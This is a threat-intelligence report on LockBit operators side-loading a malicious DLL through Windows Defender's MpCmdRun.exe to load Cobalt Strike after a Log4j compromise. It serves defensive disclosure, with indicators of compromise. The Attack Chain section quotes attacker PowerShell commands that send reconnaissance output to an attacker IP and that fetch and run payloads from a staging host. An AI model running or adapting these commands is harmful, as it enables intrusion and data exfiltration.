LockBit has been receiving a fair share of attention recently. Last week, SentinelLabs reported on LockBit 3.0 (aka LockBit Black), describing how the latest iteration of this increasingly prevalent RaaS implemented a series of anti-analysis and anti-debugging routines. Our research was quickly followed up by others reporting similar findings. Meanwhile, back in April, SentinelLabs reported on how a LockBit affiliate was leveraging the legitimate VMware command line utility, VMwareXferlogs.exe, in a live engagement to side load Cobalt Strike.
In this post, we follow up on that incident by describing the use of another legitimate tool used to similar effect by a LockBit operator or affiliate, only this time the tool in question turns out to belong to a security tool: Windows Defender. During a recent investigation, we found that threat actors were abusing the Windows Defender command line tool MpCmdRun.exe to decrypt and load Cobalt Strike payloads.
Overview
The initial target compromise happened via the Log4j vulnerability against an unpatched VMWare Horizon Server. The attackers modified the Blast Secure Gateway component of the application installing a web shell using PowerShell code found documented here.
Once initial access had been achieved, the threat actors performed a series of enumeration commands and attempted to run multiple post-exploitation tools, including Meterpreter, PowerShell Empire and a new way to side-load Cobalt Strike.
In particular, when attempting to execute Cobalt Strike we observed a new legitimate tool used for side-loading a malicious DLL, that decrypts the payload.
Previously observed techniques to evade defenses by removing EDR/EPP’s userland hooks, Event Tracing for Windows and Antimalware Scan Interface were also observed.
Attack Chain
Once the attackers gained initial access via the Log4j vulnerability, reconnaissance began using PowerShell to execute commands and exfiltrate the command output via a POST base64 encoded request to an IP. Examples of the reconnaissance activity can be seen below:
powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((whoami)))))powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((nltest /domain_trusts)))))
Once the threat actor acquired sufficient privileges, they attempted to download and execute multiple post-exploitation payloads.
The threat actor downloads a malicious DLL, the encrypted payload and the legitimate tool from their controlled C2:
powershell -c Invoke-WebRequest -uri http://45.32.108[.]54:443/mpclient.dll -OutFile c:\windows\help\windows\mpclient.dll;Invoke-WebRequest -uri http://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\help\windows\c0000015.log;Invoke-WebRequest -uri http://45.32.108[.]54:443/MpCmdRun.exe -OutFile c:\windows\help\windows\MpCmdRun.exe;c:\windows\help\windows\MpCmdRun.exe
Notably, the threat actor leverages the legitimate Windows Defender command line tool MpCmdRun.exe to decrypt and load Cobalt Strike payloads.
We also note the correlation between the IP address used to download the Cobalt Strike payload and the IP address used to perform reconnaissance: shortly after downloading Cobalt Strike the threat actor tried to execute and send the output to the IP starting with 139, as can be seen in both snippets below.
powershell -c Invoke-WebRequest -uri http://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\users\public\glib-2.0.dll;Invoke-WebRequest -uri http://45.32.108[.]54:443/c0000013.log -OutFile c:\users\public\c0000013.log;Invoke-WebRequest -uri http://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\users\public\VMwareXferlogs.exe;c:\users\public\VMwareXferlogs.exe
powershell -c curl -uri http://139.180.184[.]147:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((c:\users\public\VMwareXferlogs.exe)))))
Following the same flow as the sideloading of the VMwareXferlogs.exe utility reported on previously, MpCmd.exe is abused to side-load a weaponized mpclient.dll, which loads and decrypts Cobalt Strike Beacon from the c0000015.log file.
As such, the components used in the attack specifically related to the use of the Windows Defender command line tool are:
| Filename | Description |
| mpclient.dll | Weaponized DLL loaded by MpCmdRun.exe |
| MpCmdRun.exe | Legitimate/signed Microsoft Defender utility |
| C0000015.log | Encrypted Cobalt Strike payload |
Conclusion
Defenders need to be alert to the fact that LockBit ransomware operators and affiliates are exploring and exploiting novel “living off the land” tools to aid them in loading Cobalt Strike beacons and evading some common EDR and traditional AV detection tools.
Importantly, tools that should receive careful scrutiny are any that either the organization or the organization’s security software have made exceptions for. Products like VMware and Windows Defender have a high prevalence in the enterprise and a high utility to threat actors if they are allowed to operate outside of the installed security controls.
Indicators of Compromise
| IoC | Description |
| a512215a000d1b21f92dbef5d8d57a420197d262 | Malicious glib-2.0.dll |
| 729eb505c36c08860c4408db7be85d707bdcbf1b | Malicious glib-2.0.dll |
| 10039d5e5ee5710a067c58e76cd8200451e54b55 | Malicious glib-2.0.dll |
| ff01473073c5460d1e544f5b17cd25dadf9da513 | Malicious glib-2.0.dll |
| e35a702db47cb11337f523933acd3bce2f60346d | Encrypted Cobalt Strike payload – c0000015.log |
| 82bd4273fa76f20d51ca514e1070a3369a89313b | Encrypted Cobalt Strike payload – c0000015.log |
| 091b490500b5f827cc8cde41c9a7f68174d11302 | Decrypted Cobalt Strike payload – c0000015.log |
| 0815277e12d206c5bbb18fd1ade99bf225ede5db | Encrypted Cobalt Strike payload – c0000013.log |
| eed31d16d3673199b34b48fb74278df8ec15ae33 | Malicious mpclient.dll |
| 149.28.137[.]7 | Cobalt Strike C2 |
| 45.32.108[.]54 | IP where the attacker staged the malicious payloads to be downloaded |
| 139.180.184[.]147 | Attacker C2 used to receive data from executed commands |
| info.openjdklab[.]xyz | Domain used by the mpclient.dll |
